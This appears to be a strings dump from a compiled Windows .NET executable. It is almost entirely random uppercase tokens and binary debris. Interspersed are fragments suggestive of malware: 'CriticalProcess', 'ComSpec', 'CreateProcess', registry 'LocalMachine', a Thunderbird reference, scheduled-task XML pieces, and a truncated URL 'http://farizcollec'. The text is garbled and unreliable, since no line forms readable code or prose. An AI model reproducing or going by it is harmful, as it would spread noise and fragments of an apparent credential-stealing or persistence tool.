GWWIOUQ
& -^
Jq:F7emWnW
tHGSLJV
VTGWDHF
^!.V
QFNRAUVFX
GWMIIAQDHJIU
HNOAJILEERWW
PGOGFIKVCJ
IZDRYCEM
"xx
CQSUSC
ZQFWSIVFDI
b63W
VZUFLMAGQLQ
AFEXOL
PYSKPXFAS
& 8k
ZQKBCRSZQ
YBRWRF
AssemblyProductAttribute
MGVZDVVYLX
LJUCCGSSQ
WNNCOQNWUQBI
FUVZZJE
AOBOPJXK
TBMTVGLABKGP
ZQVCYIGWLFCA
HINKQRAHNXHO
PLPUWFLBIJX
&rn{
MKRWL
LWYMTPSRRY
&rnv
SGKBL
QVRYWDHLXBN
DQGWSWV
CWDCSZUAN
CRSSXDARXZY
JKJCXB
ETYPL
cQYBISXITF
MYGJWXMY
SRFRHPFXj_ESR
ODSGSNASJINI
CJIIDFZ
MRUTJOXTJABU
XNVJLFMBCMJ
HQFCZ
HEZCTV
YWVICLHULN
GBXJWR
HTGOUKXGOLE
OLVUKCJ
GBSDNLZNAEUY
AKJWSO
A4C,
XESJFZVPPRJ
KRDKHKDDDPV
OABBT
OMWAZNQV
DHCESUXDQFUI
NUOEAGAPB
ComSpec
YEUGRX
KYPDLFUB
TSYCNC
ZWHUQXDDCVYN
& -;
VEEGSHZMNIQ
fVPRUBQ
ToInt32
CIBCXPZ
WVZEERWZB
QEWFGYRRF
LBJESNILMI
RizeOfHeaders
JHLQKFEKDLZZ
XVDPVZCCP
FOCTUGVOQ
NmcmogResult
N &A9
UMRPJSSSNL
WXZWYQ
VKWIHXFTY
CFYUJCR
ECQLYCKTJ
GSUOTP
WZBQHP
XKCDFRDU
UNPWGSYQU
UETNWBDTE
@TITQO
DCGYVCOZAT
LHHSJW
ZDCERC
MWIOUREAIZZ
. pk
GYBIBWQBB
YYAXWV
NPLMVJH
NGVS
QRTSFOY
JBVSLKQL
NMMLHKON
TQYRUUGMEUBI
FUDDEI
IIIPCXK
): /'
WHGGYD
RUHCAV
XGFCIZNHZZER
NCMQAFPJHFAI
XPIPH
HAHLTGM
AMVJD
& J!
yvbSsasencihttp://farizcollec&
OPZEBQL
YLIHQFPZVCQX
PWYWSASTYC
EEIFSI
LUUVFZ
LVVCETHAOLKY
MECDIBL
AKLGIIMYQJSE
SWKPMR
WHIRUBSQVOZM
FZLEDI
FPLBPXAGYPOI
<'e g
4YRnrWRdR56
b[ND[
QQZMTPKQB
TSPOEFII
GBXBVQBSKI
XYZNHEIKEM
LCSAGOJNWCSO
mA^IIHKPV
PJYMTWIOWO
JURSFIPVZ
YAZWMM
CUAVZIVAC
IBRURBWZXX
nZ}G
rPD`nqrns
UNUAFQEPV
YQSYPO
Szn`lu/7.0~
UQWVPYGINCR
VOYZK
VSGWDE
YGJBBMWLPVF
QBLPLZ
LPNWAXGGJAIR
GLOWARQOD
ZWQWUXGSRCYP
"BZJKHB
c@]OE
JTMNPQNOY
EPWZJRBHZVOR
PZUTJZHCIY
JBEMONWHX
YHRJEYYT
UGDAUGNH
MZVKSG
OMYDVLTK
GNNZRSHUQIMM
BHXJZABNRAIW
ZLWVATHUFRO
LNBBML
QRIPJGZ
RJWBISCNKDU
mZDKHSsCHUZOJ
JASFSYX
SLPBNVGSRK
QKSFSXTGPI
U]g
XIQJYGTZCDAX
VSXCPJTE
KWOJJTUJUUIK
MAIBFLZ
TSRILFGBKX
DCZYEMRQE
YTLZBAQWXGM
JRXRZQ
UCSYVXRQME
JABV oYSGT
WPBCVG
NVJNRTENIZ
PBTKWDCUhSO@G fZH@A
BKFDAAEDRTWX
HXCQNR
IJTIST
SDYIFC
JZHMYX
v"h{
fil1'{Ejf,Kw
KGGOKNWY
UGDDFVJ
XDYWIQ
JCYGJDGZFIRF
VQMPPUJXVQ
PTTETUBSIMD
NDVAKKZSNVVO
QIYRX
VNTSYB
UJYAKNUGROK
GIGIKNLYKVJC
EYKTOBTHFXH
EBIYYJNTiV@CQJ
KVCCUXWJTQBE
EWAMEG
DXAJFQWJWPGH
TQIBEQAXLF
NMBXONQYMJNC
YVPRKDUZTZY
lrR1EpowqHd
RALWWWTKPWS
VDVCALQ
#pm`vqos
XJZMDOLYD
FHGPJGPMOS
P xa
ONWMPSUU
NFFSIIMVI
VFGYZUNSLHD
GLEEFKWMSA
XZEOSKOXRURS
& 8T
D$JN,t
KQWWVLS
SetValue
ZEWLFIYSJMMO
VNUKBUHQDGRF
UMJJNVWXI
QWTIZMEIKHN
UMCTSVGRQXHW
FJULKKPBvZAHI
mW^EE
MVDQHT
HLIJU
PWMIKN
GCNMVUTBNZVX
FRNCQO
XWIFPF
CTFOHM
HRWMAWRBGUQB
TIYVMZR
rTKNKIXJZB
BETPPMC
ECYZGGWGIBTO
FTMJMZ
& U(
FLIFUAYPTQC
p Cu
ZRVFYD
OBWUC
YWEWDVPOAQZB
QKYXT
WVJR
QSYVWFFVGQ
GUQOECUQKJ
v!ht
XPCAMCQ
VTVABE
TSBZJTIYXRA
HNGPQZNCRIC
VUQZAN
kW ^SEACD
TIDMEX
EXFMTWTLC
j65CVi46IdS
VRSCQPEQP
BMEVFDX}^CTE 'KQ]RFD
ZHSQNEUKXSJR
MTNGIJX
PURTCH
malkopute
RHBQKS
p CJ
BRKRLUMHFA
VFPXWOHFHLYA
FXRJEUT
FJEHIEBMEQ
VAZILNLZRRO
UVLZNFPCNZ
NYUBIGZSITAU
UHDVJIQBNP
YMXRMW
WIWIYHLFBNE
OUOQEUNJDE
Parameterized
QGYKY
L \a
GSXRBUUY
GKWZKHSJDACT
OTLLIJT
A1Or~aFhrectory
SJJGNODYRSKX
KCNNVU
&r6z
WITPUC
ABEBZCTBWNR
SUEIYYVA
UTDVGB
NRRZJOVOM
AKCMJI
lWkQ54
UQIBYJ
PIBX
CZFUOYVCN
YIFOHULVVNZO
DJYRRBCSIYVK
KTJNESYUTVW
Kg}ap+I`7ppte</StopIfGoingOnBat!Ng`aqq$
:Dx`pvq.dllOw!Z(74sEd590WfZ_W0u01,6[
XDBTHTUNCFLJ
LNUYPM
PDYCBNA
strcpy
LocalMachine
LYTNFPHSZWPQ
JQSZHH
FOWOX
NSBQC
PQZTDVL
KNYSNPZLUL
zQZN
WEZTYMQSQ
EITPB
MDDKTSFEZDHW
LBTWWKLMHV
n!0t
SSBDMAD
p 85
BBVSCXYFX
KKJIND
PLJKUJMEKNDF
RWUTLO
RIWVSDMUCJ
SHLBHK
UIBQFS
OGCVPTMCAVN
FYEEWUQLX
PLMJAKIMXNL
DFKDF
cP]DPYkXXJEGZAR
WMHWRFJTVDO
ZVZJJZBMYYZ
OQMZIRKFUEAY
xBKRG
UQKHJHWLQNJT
ZTEXDUGGVFCO
jzpglTimeX
FBGLDQ
WWAVDZZQC
'G]QUGUWFPKV
IFGQLC
VNVJVAPIKQEC
;\p8f
BAZRFFDXGHXS
WTGTQDXJNFYH
XBVBMF
DVAKJ
XBEOZQJ
ZQFBHU
ZTNYO
UUXBRB
AGBPJPUNQMVX
|%V/
UQVYRPEHSV
UJPRMFNWXN
NXVXQQHLFEKF
LaA`{RtateV=
IAKOLTZ
VKRTYRFAVQ
PLJAVFRJIMKA
OAXUXLLK
MajorImageVersion
WASHUA
PWCKHVIREQEW
NVTBLXAPK
FKZULCMNGH
CQZOCQXES
MRGNCO
SNKZQYCQ
eN`7Yj90WfZPWR84n_WeyD:5fS5u6df,BLIR
XOZGLTNPZPPY
FKZNLW
HYCUBY
EHAJXTOCU
AGRXIL
PDLJPQREBQKW
VTSYLSQSBP
CDMPFS
XMJPOC
System.Windows.Forms
VROLGH
FATMVGVZBVQ
QKBXMPYGIIK
WVPGWU
p {z
FGTBDFTZI
TJMCZUVXFVI
XAQZFIGXW
BZBJAH
LUFVUT
CPTZUQFPTHEO
XJYHUT
r"L{
CGHVGH
STJDHGHGFVC
OYJRPUAMSE
XOHDMEB
c2:
PFZQUOWWDKWA
|SG@
SAYNLSVSJRDG
,3^Usd0C\Tsd0C\s0W{
ZJMPBLVLNEN
PVGZNX
ZSPKCYMDNCGV
UAIVMF
VBCAWLZA
LKLVYYHJLGTF
AGDELQ
WOOPUKEWS
UMLHVXQJBTLS
KDKXOECANBK
KCGEIRRE
UOIAUI
NJNUPN
TXKPZ
g2ai
NXEKBZF
SZKQRGXXFRC
ZMYB
ZOSJMOKT
zWINAVHL
VOQUCO
MGFLFAPBQVMQ
GRMLKDI
NJUBDHFWIP
DDNBVXXVQFK
p |
YDNVZVQQR
BLFNVA
YHAVZX
AVWKS
YMYKAODYCCA
!!r m
EVBNMK
NYZQDHHUEU
PSt
MTETIV
vMRLW
BJGYRUUIRJV
DWZKABY
R$:i42g4R3 u#o6nelW0Z3iG3G3y.Si=$P{11m63g4
\f-JR
KSSZJZMKGC
HEIYBM
OUKUJKHICWB
SHLAVCQEXZAX
KASMOSDEGE
NOKUBJGC
nJZAZ
SNWLOBJXGK
XWWKQHNTX
YPPJWTEHZ
LJJPXEWBZP
SecurityPermissionAttrib7Uu VgburityAction
d@JT
OWWBE
OMYRFM
X[^_]
MWLPILHIW
IGLPWX
XHJTXDPXQGM
DUVVLP
&rS;
SSIJRZ
&rS5
&rS4
&rS7
JMGHLLXWVO
SFXPASJRHK
SZDQXLCTZNSF
IIKLGYGSQIF
AODMABZYRLID
IYWTZJTEC
YSAOTHHPQSUB
&rS!
D9]U1d3s0WYd66dR240
YRMJYJKAFLYB
QXIPEN
i]NNK
NRBANZFHG
TBRSQDEBJIXM
CXZDLNQRNSRB
TNTEYVSSZWJY
FCIKZGHKLCFP
MPPXRWYXZ
AWRCSWEHZMX
RRLPRQYRAX
MNGSUSLUZ
GRFRNNSVO
UJ e\HQWNk]^BABRKDUUU
WGKSOO
&rS
JKWOAGIYQPJ
KOELYBBFBM
TJNQNOMWEPT
& 6s
EWCUQHCRZVUK
83t?1.8 Accept-Lan(Qqla8!en-U
d_ UP
KDBHIT
GVMXQPCIUECD
ALSWZXFIQYL
OBHXTDUHC
AOCBMSXCKKJS
VXCPJRGTFJBU
PKQBMIX
HCYGUDRQFIGE
$`A!
LBXBJP
IuYpphng
&rSl
OMATJGILLCLQ
&rSk
&rSd
TFUHZSH
VKVIRHWDCRG
DFSSHZ
BHWVOOMYKDSM
BPCPSDJFU
&rS^
YZELDGLNBEW
^yiaqr32Fi1Ua
ZYNRKV
NMIKTQQ
PEWGKXWUJ
RWQVCMIPHHI
NLTCQB
VSSKNMDISOSD
OTPLRKTC
HZCNBNOQBNXY
ISLKGH
IVMKWSWVZTJ
DMUSZQM
HQTTLNJK
GDUQJNZBQLPR
BUWAZQACJFT
PYNIGMJT
PLXASZKMZUSW
ZUEKXKNPVKZR
*G!&
XVUEQBBSL
>Oqs~RkodowTextA
CDYBVUJ
PIQCGWDX
QDHDKC
ISBHWLOR
LAEQHSYLMEAF
RMXJSL
OWBFPEYCZWIR
BQSYMSXREH
Ra{m`:Xp AgcuggableAttribute
%6\FWk4iiC\Md
MNQPVJCL
LPZZJRXKEGHK
EAYULGWTVQTP
PNLSOZZOFI
IKYOJ
YVXCHRRMDGB
XPVRWFXADR
WKOVQNDBOR
HMHGRPLSCH
UFYHXDUYQVFM
n@FWC
NLEUMUIGAFEL
YSMNJB
VXQBIEUPIAOE
DPKFNL
p `0
UFTZQO
p `3
GBSYIXNQVJN
ESCPFG
u^]PCNiI]QC
JWIWARYOGFD
v@DMP[
KWCFLMFAZCXR
Ftna
LBTYXEOFIDO
"Z-<
KBKVXGJTLA
LLFNXHCR
ORRYTF
HNCBLR
BNORAD
p `/
HKDOTIQOC
m!#
YJSFVZ
EIEEGBC
FJBGKD
NRCCBN
FIZQWWG
'[SWV
TTDOPPSBFP
UBACATZTWR
LKRNCSIOZ
xZGFIJXE
DHWYJJPGF
NCJVOBDYXJLJ
WVMQHGXJ
FXAUDHINNV
KTPYPZSDOMT
MGCVUWCOFH
nLLF
MLPNNVOU
VMLASMANR
TQZKM
CAELYC
ProcessThread
BWMZXM
p `u
QUNCJVWTUFP
ZLDXKT
CWRMPXCX
SUEKKZ
DCOKTOC
EQVHZM
WZGZTNNLVG
EWQDLHPLY
MMSPZMVOPQ
ZGWEEGMc\LEFJ
CAEQSFNBMJY
OYLGULRI
TFFZTAHFEJV
XJF zS AP
DFSOFDPVAWJN
ZYDRPP
ZPTNMIMVEO
JRORB
^vkueAllText
QOHVTP
'<YR+B
HHOUQWBVTVAX
KPVISUGL
System.Security
FQNNVBPNPGR
EHIQQB
RUHYFM
DSYJID
IGISQAXTS
KCVETJZHGIWK
YQCDKUSBNSLE
HFXSIK
KRBWTBPTWLP
EHHUALKTRUEY
T$8t7
;L$8s
}ZL@F
eN^N
YCMNXFAO
FGITCNGIRKHA
KUXUXX
GCCFUHRRW
WSJFAWGDYDV
WZDCMJ
TIQFYDCK
RKIQQDVSAH
NAFJOSAYC
XUHJTNF
OREPQVKRL
SFDJAX
YWNHLNZN
PKKOPVP
PWREEH
AOOQIYIJF
EODCNZ
QRFOKG
k=U&
DVDSZQPUS
VXMFWPDNXS
BQXJSOXUM
HLQRQYZSOASZ
OCLFPBZTXVAN
SMBMCTNHHS
EYYODITABAU
MPONNQ
JMBJEK
OPFUMDUPE
YIRLHX
vmbket
&[@\FLRVPJFS
KXIVFSTZJZXH
OVHITQYOT
JLWYYC
p =f
A&Qu
CAGVMTU
mZGY>.Command> </Exe-
GEKWLFQMJ
FAPVYITAAXKS
JQIPJFY
PKLXBCNUTOOK
IBMTXOCPSYF
D$ V+
IXAHVXQ
MQNUG
UnverifiableCodeAttributeBwYQGWDNIMZEXBXBBXV.resources
KXJVOC
q!4t
QNZOKI
UTJIE
netobject
D$ V!
TSOOUNT
PDXKHXNSZWBY
%.2d/%.|O?-`"$.2d:}
MPBGILCTWSM
D$X%
%CaUGkoaryLength
NXEGTN
OBVMEOJ
agmo
bX RSCGBFFH
DTAQKJUA
YGLTMHHFTG
YKHEUM
JPUBKEIJCL
AANMCVSG
BGADMJWDGEAP
BVQBRN
NJMUOXAVAO
D$ DA
HAMUMRQQ
MAQHXKWFU
HOLAOOKZ
UBTM
EMIAEDMOUKK
& ~>
PMGABX
&rps
JHAQCN
& +y
RKFQHZJPWYZ
RJWFMWAKWRFO
ZCDZJQ
HEOXOJ
WSSKIMFHSNNG
UFILHP
TWYWYBJREV
NZLOZQ
JNFZFS
n^@\G
p Xb
EYRSFULWR
KBWWWI
UJLEJUJ
JVZCFUXJME
& ~Y
WARVHWDOJRQ
FQCNT
IVWYWHWEYQZL
BEIIRW
CRVCTMLKUF
UMCPZBALFAR
YOJMV
<M!Ecea<Yl^BGC@
IWQGORSND
VDTIHJOOLUJK
& ~H
FFKIANGTO
KLNAQL
ZDWEYIJGVZSH
XZOXDJRUYU
PAAUZEZUJVI
& ~@
LDBAIHXXRUC
get_CurrentDomain
YCQGPG
VCPWPFO
GUNIMRSCMJSX
& ~x
FHJSMMU
pog,
NFZRHQ
LDQWCC
ALJUZT
MRXXKLJEHSCO
DEUPPW
HMPYT
LQHNK
,[OC
ZJMSCUJWXQA
GQVKABCPADAO
WYVJSAKX
BTSQZAXGSM
XVYDOMNWZ
^j6S6.e6
BXQFXTUEN
LNAPZYDVWIK
PKJIFHSSFYT
ZGFPYCEPLLV
CNSQZCNVCVB
TFKCFP
PZTKFOA
BQCDXHZQY
GBCVPCOU
KEZFTR
NILSNKXLWYR
RVQJTQNCEL
IBNRJ
DCNBPNISVECQ
(^ ,Z
QOJBEW
YBNNDMZW
VIIFCZVYP
XOFCWORVS
NLCHNXYU
RPTQOUSASBS
CYZLLVUFOSBY
SAZFOOUVVWZG
QCAQJ
TNUSWY
KKWYGUBDTRI
YAQVKILWA
BEAEYBKQSE
FRFFJFAXKVG
TWVS1
ULVXIDEUM
QIVYZB
BBYONSYLWNH
NRWGFC
EKBKIOVHKIM
l <i
BWPGSSN
LQBZJC
CRHXUENFLD
KNLNYHGBVA
WQPUAU
Win32Versio'wwepgOlu|Rcmue
BLPELFYPVWPT
P- B
UMXILQRPNXFU
IJYLNQG
FCRFESFEOUEI
CreateP=NvlwqOus{ikoateProcess
SYLGCV
YMTLWXGFAQCF
XFPCDIPEBMIF
N *
PKKUNCITQMOD
t )%Tphncipals> <Settin?_*
LQYMMVXR
DPGSOPWYVKKM
BIIFNDLNZCIW
H[^_
#Blob
XSKVN
`@_AL *FFHWLCQNNY
PMXTKC
CMXVOBVFSU
YKORJJ
NCYAMD
HNDBXNI
NDHVTE
XYGPLN
RHKJVMEX
YETHNOUFVPSJ
o]_]A
HUSBHN
Cz@8
XSOMTM
QSTTFUVP
QVIDFJ
EOALJOPSHJEE
OHBCQZQHFLKG
NLHGSB
GYJOQAT
IVOWFOYYQOUK
JQMOWIFMVDXK
Df&
$pNA
& i[
VAEWFWW
AXTSDUUOPK
KGCSW
RULNBLY
TIGMYQ
VLRCUWPAIXFN
ZOIFX
KVAQFCLJJGW
vWYQIB
UIXFT
FNDGYEOQNT
)3=
AOVUILEJYAVF
HEZYDKBJ
xW[\
SFWUGQSBLETN
YMLFAGC
TMUIJWCMVOG
cA_LZGU
ZFLETOHQZLS
SXDKO
WUBICRHZAXS
OAGGMWFFOQK
COIGLC
MNUDX
BVLVHJ
AARKGT
NTQDUZNFHOD
PKNMZYZJPMV
IFANCO
KWFES n\YKLBmE[MTPUDHPPN
"\CL@QP
SYELRGEXYLEZ
DIKFCYNFFHUW
WTIWVRRSB
NTZMD
ANFIIUWKT
EGCFMV
BMXLHDRPTIWL
fet_Message
HKVGP
PCYGQETTANW
TIANEANUWFIH
YZMKPB
MDBLTEAOI
GTCUGYE
<sC6bAF;V<
QBJMC
PEKNMY
LXFAOQTKZKBK
UJNOKTBZ
YXNCCIMPZ
JQGNWPUWBLW
OQSJPPQATXSV
UGOAQSYWBXB
SSLKZGVNQ
XILDIM
BJZNHGEPA
UCBPNHNWMFS
ATBXVO
@UUHTQXKAYF
PVBIMGTK
LEJDBR
W +,M
SWYJCCPSBB
AAIVODAHNL
DNQLOAPDAV
LGKJYC
LLGNHEQ
XXNEDFRD
)z n!
GBPPECVOO
IOKNRIKMCTWX
PKBUX
DCWFEK
BXTWI
CIOUQAUHNWOU
''{
LUKAUR
RXTUILMZ
JCDSQFQX
& S*
JRQFGCPMXKZ
KUVMJWBYWFF
GSELJITLGQ
WCDPJLVGUDL
D$E;
WHAIKNVBWHDL
DVGGFWND
AAMYJVYMER
MNSSBA
JGTLHZ
L \o
WAUGPXUP
D$E'
& S=
SGJZYSPJDRHA
PYMHNMTPHJVI
D$E*
NBTJSOTXFT
& w
BKVSKVKG
CMIDEJ
& S
LBVPEGKOBWIN
ALZUR
p E_
ADVGXCGMGCPJ
& S
OIMRXO
EKOTEY
IKROXV
NWWYA
XVKVAZG
WMDWGRMMLMD
QDRJV
PZQQQWKUYAN
CLCZQTXE
e_ip
iL@SO
ENOUZIGCF
LUYYJDM
QEKWDBZJETR
YUVGKZ
PTLDBF
RVXQKCQM
& S`
XVFHPARXVRGB
p E6
Rsocess
EVJVMLEJ
XKCZUC
PODQAM
JUNQGF
JUPIPHPJPHI
&r8u
NRBTJALLZZBI
ECJFHDINRKG
WZCMTSXPYRXA
OMKX
ALJJYJSCL
XUMXT
yK@PS[S
WUQACBTR
!@RTC
L9DrgCpde
LPYEHV
NUEWJKTQK
UBDTVIEHDGLZ
OTKESF
O*d"
OLWBNT
SXCZBVTKQSO
}A CQ
LIQZLFZCRJ
IBXIVZ
Vc%C
JTIBP
)R_ROUX
DHVLEM
CLKYIO
LPORVR
LNJKKRVNP
TCYYKKRRTNZ
NMFQVVHMBC
KQXCMZ
WLIMYZVJN
r8f
QBLHXOMJQPYT
YXVWTIKPK
VDQXJCIUTU
HSARAM
DialogResult
PBZJZYMPKE
RGPJLEWHVKK
LMTCSJGERSUH
VTJTGMVCZK
lpModuleName
p :"
j]XLJSbE^SSGNGJH
PHARKL
m[AQS
e_sp
XYAJTKRFK
KTLHZW
VJGJVIQUOFU`RNCN
VFZUJHILUQFX
KQHXMCUH
FTVNHNYNBINJ
HXQGRULAY
IYHJOYHJPMSJ
RSIBRPIUI
NOKMOVS
SABJJZQEXCX
CEHIIDSWSM
NEVRXQEO
"QMCE
ZGXGYZGMN
p :
IQUFKH
SIGNLFJOOM
WMWONMKFHJHZ
ZVPOZDILUD
NWPCZZ
PYAVPOTFHVIK
FYFIOI
p :{
IYBKHOOHVKGS
NGPJJQRO
UXETIH
dPE]GD
,PQCO
BFALJSPACI
WPNBMFRWAOG
SXNHORPJBXGP
UABZTJ
AEZIA
MCUKIWUHUCH
POOWBU
ZEPGVBJDDTTG
FYJFTHE
HRKWEOZWXSZN
BXGIWX
IINEDD
eGDWM ~
JNPCGCZBW
FKUNXO
p :Z
TWNFSR
p :Y
NWXAD
GIPPQJGMJ
CZQZITIEVMW
JDDXGIQREH
DQBFXBXUUBA
RUBMFCX
TVCAT
BKABHCAEGFE
RUYXPLWPO
IMGOTL
ZGKGYE
LWJMUCCADUY
FBOORJBB
RSEAKWXGVJN
MMTLWIQPB
KAXLCKKMCIO
YSDTURE
RENLWGMBCQ
TUQYAL
GKVHYYFILN
uOE]
XZZQYYEZL
VCGGQKGB
SZAZMM
QRKPMR
& uO
'/;RQPY5qZ=H
JAUQMEPHMM
YGOFZMRLIPJS
IXYOCVMUYFZH
FMWVYJRQE
PKSMPKNUNEAO
|$0Q
SFWVJEFJC
m Tb
ITSMFFYXCZ
UCRRESHUZKUM
<>c__DisplayCla!Y!=4]
XOPOQT
VQQHEUIOU
RWHMLZ
-T)
FRBBB
MXVAALZSHIA
MHJMYAXNRB
KNOXQHMD
JOMVSVWGA
YWTJUW
FVPCVN
ZIBRSS
MZNWB
ZDRVWMQDH
GetFil0ka~vkcutes
LBWLT
UZJYS
UDOFPSQKURY
UNTMDLXW
& ,`
Cs43l63g4R3
ZIFHT
SANZFKVEZWOZ
%s @ %s
YPADAGXIRL
E}|dkos
ha M
FUCVHV
RQHFZW
XOXCYCHEXG
*^09
ZTYAWFM
WJNOYCMQ
AYTXTGGGF
MILNJO
LOOZKC
UQMHD
HBYRHNPP
OUBXRFBRFD
LSTTYDYGUJJF
LBJIKNDLI
JQAXN
^C,A
EULTPWYI
YLXXHFUV
YKTGGA
JJGAGCLJFEX
SSGMXP
DOQDAOSI
UHPSITHLJHFE
NTGDJYL
IXXEHRCBZVF
SMGVSSLKULM
WPLHAWMHUWIXa]OWDNSKDFH
MTWKI
ZWQSGLHHN
MTRHSKBEK
UYYJKN
RHIZZEWH
MADPYXNUC
HXZVHMVGL
QNAEATJFFI
OPIWMDJM
@ZV3I
KURMORIGXLXD
WSGIRDKTIKJS
&rU:
$8WA
TYNRFO
SQTBTS
WEBWNVPCMMME
VJWWCVAU
JQCMTMT
MKRGUODGCWQX
DUKLIGXP
VPMVHCC
MIWQE
{q<XRP00dR5zd064WR\r {O IV^qUDr(vU>]2V6W85\DY542d MdmueU]P75Cii<
GLAHMHMDUE
SJSRLZMIWFYS
&rU"
KHDCTW
KACJWHPZGPKC
&rU&
&rU%
.ctor
CNAMIUVOUPNK
& 4a
fTNIV
DBUKZQBV
OSAXMB
BIWCMMWHCGP
GKQHQP
& 4k
FXAWKABVYJH
SJMQIVMRKF
BPBBUBWW
X?H
KOZUFVPSPCMK
PFABUQHHDNT
MDLWSC
FJBBVMMBSNXF
SMRHMEVBPAEB
QUCGYJYORXG
JULQNYYDZE
RBGNZBRUE
WYUUFSDI
TNDLRBYT
Mozi6@q)Qjtnderbird
OHQNXPZOEWP
NDYGBOFLKOLQ
D$AbAK
PMNARKYQOTK
WJOSTI
CMGMQGVHKLSL
MOFJYU
BGUUI
RHIKTHG
CIGOCN
KSPEYEYT
PGAKTRBOVEGH
WBJUAB
ZWLWZB
&rUj
DCZFTYVMZ
UZHJRX
NVRZIB
WIQTLY
&rUb
IPGGRTYUFD
VJHBZA
CPRTSCMN
AGIJWMN
RBRMFANFZD
MYUZNYVRANJI
& 4.
RLHCRSSMH
MIFAHFUHJOJ
WFFLRDIAILGT
&rUJ
&rUN
&rUM
QPPUCCMQRJ
(5&&119:>i!
I %GE
QNAZR
AFWKKAJOLX
PXNKTXPBAOH
POJFAPPOR
&rUD
$m/A
EUSXGS
VSSHCUYUXMS
DNWMUJ
WFJWPORLOLDK
THBFFQJVIX
IYVXWCJNIANB
GWSMJFKKZKJ
KVMIWD
OZWGZWZUAAF
VDDJTPTKWWM
MPFIZTIGAHG
DYRKWQZFLQMT
VTVTCC
LCLEAFFKXHU
vFBC@K
UVCCLEQMSQ
GYLXBQSCHU
JYHUGZ
qRMO
LEKDOU
IIXYRTGYBHSN
YEAZIMKAZRA
JSYQBT
QZDDROOKZY
KIWZEHANXTQ
DKTNH
GMZFK
J!4s
YHKHQQCWMAU
WLEEQL
QMWYXXRNNPAF
VPIPJTBDPZF
YZRFGSHSZSF
E$ 3o
VJQQIPGAQSTA
NJPOJACP
~YNF
EKXABWOHYD
VXGZPENRVQ
VKJRVM
W/-B
JNTQWEEP
RGMLTBC
CriticalProcess
XXSNNB
BWJCZGVKHQ
xYYR
QOUGEBDKNW
WAZZKTZRUFI
LVQAPN
sB?4UhMd5\
KQULEWPBMH
FTHCZSWDG
orcorlib
HOIZLIFUZ
IIBCCVKS
LEYJFA
WNBUFQH
RSNQRWM
PBPWEUTVVG
NZAHQ
aZLQ
weJj]YlS.dfd
RAGQFLRIQ
FFDXJHPML
IBFUWUJJZ
WIFCVPZVHK
p bu
AXKXFEECEWI
NEREDDJJ
HZRONZ
eW@W
BZGECM
DEZPBJ
XVBEPKFGLU
VOECWXVJKZC
FKNDWSSJRJR
TVEKHOD
VDRQGCIJ
..&q?
CBXAPGC
WJCYBK
SPMWJGMIWMZR
LEOJMWJUKTMY
CCUIVNPCWEUW
ZRMYEYG
NVQVTLV
pSC^A
]IALZRGGGAVH
OOWFDJRPQ
VZITEZMLXE
7-u d
PZUPMEOKLMN
RVWDHMQE
SWWGGCFKQBUR
PWESCHQXZFY
TLTPUS
VCZMIUIJYJJ
AMBHOF
/80ge
TJEBTJEGBZ
HOUKGAKDBG
YKSGEB
QWEUEIKBPTN
|$x9
XXLIXBNG
TCLCDCOHM {@ RCHORMA
LBSCKSY
DPBQPPAUHF
KWWPGXPTSFOZ
QMFAZN
AVXVWP
QSLKY
MGETQHO
PWHJVT
BSOVGJ
TVAACWGQBP
Ro p
JZDTDBZIG
FXVRWYUSK
TSBGH
ZJDLEVN
EBWTOOVQHNEG
MJGCNHLGA
HJUTYBIBKLL
\RTR
ANJLGBGYVYTR
Licrosoft.Win32
GBQIFQPGR
ERMDCASHBPYG
QLZBFHP
XCKHMQZZVW
OFVPVSYRH
KKHRRASIVKA
HGTLQDH
ICGRLA
IBQLKVIFBFF
YWZAYBHYN
EAJBGZKQETPD
NCVTVLGUX
UQZCNMA
MUWSYQR
R'
EGSPTY
ZFHPNFGNWM
NQYDKX
ULTMYSWNTBUK
FIFNPT
CRBILAD
KXRZPQAYSXST
LOVHGOEHVS
OMRSLDBUVN
TLNXRW
DERDHV
YIXYZO
VMIUEQADVLO
ETMOHZLSDOW
BQHQKVCXYNGT
WOYEWF
NNUJOSZIGM
ZEFUDCSPBWZB
VZLOVLDZM
TUKAHCXYIVC
GFVPWQO
UPRBVY
TXVTWK
HNGADL
PTPPXWLL
& )]
$ALNN
& )^
D$Z+
D$Z)
MRVFHDA
DWKESL
lW GOBZFB
OKIWTQQSCL
QDKGFNRKD
YXEYEETlRBFK
GENBUYYDQGEF
%6!0z
ZETOAPVC
HBREMEUBQHC
LJZCX
IDEP t]KF[
RSKOIFEHR
UTFGYV
PERYBCY
BRLHZVVJ
SGVJQKUVIN
yC]KK
& )~
CPPDRJHYGS
TZIJZRPJUBKS
NFBHNDMLN
&rry
wOF@
QZRSTHFLHZ
Q8|,Rii
& |*
& )h
E}mkuQrocA
& )m
UENJGZDVNKAZ
JMRKGREVRQZ
PCPACX
JUYMLACBO
TQYEAFKA
LWEOEE
HPRWQX
FNOIEA
XJCKDTQWLNL
NWJHOR
ZXKTNPOXGHE
CDZGTYQJO
LHILIEIANP
VTTXGGUTSWQN
GRBQLPEN
CTHERVZIT
QXEOTESBB
GWDJRFI
&ri,
GYLXFDNPFYIX
UKOJFI
FZEQLYUPMMW
FVKOHZ
FJOIDMTXDY
BYULIN
AXMLAKDVJUY
ifdqw+L
X'@9
MFqo
FPVHGJFLRH
d_lfanew
AHCDB
FNJLRT
FPYMGG
KQUCXMKJQV
& |s
& |p
& )2
QEQHWZUETPC
OWUCUZUPEKF
PPABUJ
PERGKCCCZQE
SKZSCHLQFMT
ZSSRSNM
RJNFUEPEY
BCOYQVJZEN
UZCQC
BNLJRPKS
%s*C
D$Z\
BS2Csae}'Wkh
CSLPEOHQZUO
WDRMEXGEEORL
EllKd OtyGmlmit
NLHNPR
MSKMKAWOZ
VWWVGSVP
FVNYFN
AXp-
CTZLS
c]HSXNY
NGOOCBAYFLW
GYOYCRF
BRDFMQHPTX
ZJINCSCBN
HHHIKPBCYWTA
MLHPZY
N"F
PQIIIU
UOQARMVHE
JLOWXPIM
CESHPIWXQ
RJTBHP
BaseOf
DKMKVWHWJC f
NTEZR
YXDFXD
idrnelz
HIFLSVVNEGYM
BMTGGYFJOBFD
HXBCPSOQBVZ
GTUVQAQEIVU
TSKCQDWH
tX]]@Yg_ADXC
CFJXZSVBGS
ZBFBIZ
FJWGUI
KTJWPSOT
PKNSKLS
EDKFU
GSPELPXILTUJ
SBRAMP
UOYDAX
FICWAU
RunNt
CQXBRQR
IRCSZZYWJSZ
GAQEH
XURENIMUSNM
KURMXGLSZTEP
QLFSAHYBDTG
WFEENOQZMUQC
KVWAL
ZEWLCRWUSG
KPDDXKY
OCIAWZHNXR
